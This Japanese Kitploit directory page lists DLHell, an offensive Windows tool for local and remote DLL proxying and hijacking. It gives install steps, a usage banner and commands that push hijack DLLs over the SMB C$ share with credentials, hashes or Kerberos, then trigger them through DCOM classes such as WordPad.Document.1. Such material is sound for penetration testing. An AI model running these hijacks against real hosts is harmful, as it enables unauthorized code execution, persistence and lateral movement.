Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DLHell — ローカルおよびリモートのWindows DLLプロキシング | Kitploit
ツール/GitHubGitHub/synacktiv/dlhell
特権昇格永続化メカニズムエクスプロイト横移動ポストエクスプロイトペイロード開発
GitHubsynacktiv/dlhell

DLHell

ローカルおよびリモートのWindows DLLプロキシング

リポジトリを見る
172222年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DLHell

DLHell は、Windows のローカルおよびリモートでの DCOM DLL プロキシングを実行します。

インストール

以下のパッケージが必要です(ディストリビューションによって異なる場合があります。次の例は Debian 12 用です)。

root@kitploit:~
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

pip 依存関係をインストール:

root@kitploit:~
pip3 install -r requirements.txt

クイックスタート

次のコマンドは、ホスト 10.137.0.48 上の netutils.dll ライブラリを、calc.exe を起動する template.tpe テンプレートファイル(C++ ソースのハイジャック用ライブラリ)からハイジャックします。元の DLL とプロキシ DLL は両方とも、program files/windows nt/accessories/ フォルダ(リモートターゲットの C$ 共有内)に配置されます。

-remote-target オプションには Impacket 構文を使用してください。

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

Kerberos 認証も使用できます:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

利用可能な CLSID と ProgID の一覧を表示:

root@kitploit:~
DLHell.py -list

使用方法

root@kitploit:~
 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

ローカル DLL プロキシング

ローカル DLL を作成するには、-local-lib(プロキシ DLL の名前)と -local-target(名前を変更した元の DLL)オプションを使用します:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

リモート DLL プロキシング(管理者権限が必要):

リモート DLL ハイジャックの場合は、-target、-remote-lib(リモートホスト上の元の DLL の名前)、-local-target(名前を変更した元の DLL)オプションを指定します:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

DCOM DLL プロキシング(管理者権限が必要)

DCOM DLL プロキシングは、-progid および -clsid オプションを使用して悪用できます。利用可能な CLSID と ProgID の一覧は、次のコマンドで確認できます:

root@kitploit:~
DLHell.py -list

dcom.json ファイルに新しいハイジャックを追加できます。このファイルは、脆弱なライブラリのパスを定義します:

その後、ProgID または CLSID のみで以下の操作が可能です:

  • 元の DLL を取得する
  • ハイジャック用ライブラリを作成してコンパイルする
  • ライブラリをリモートホストにアップロードする
  • リモート DCOM クラスをアクティブ化する

ProgID WordPad.Document.1 の例:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 の例:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
ツールをダウンロード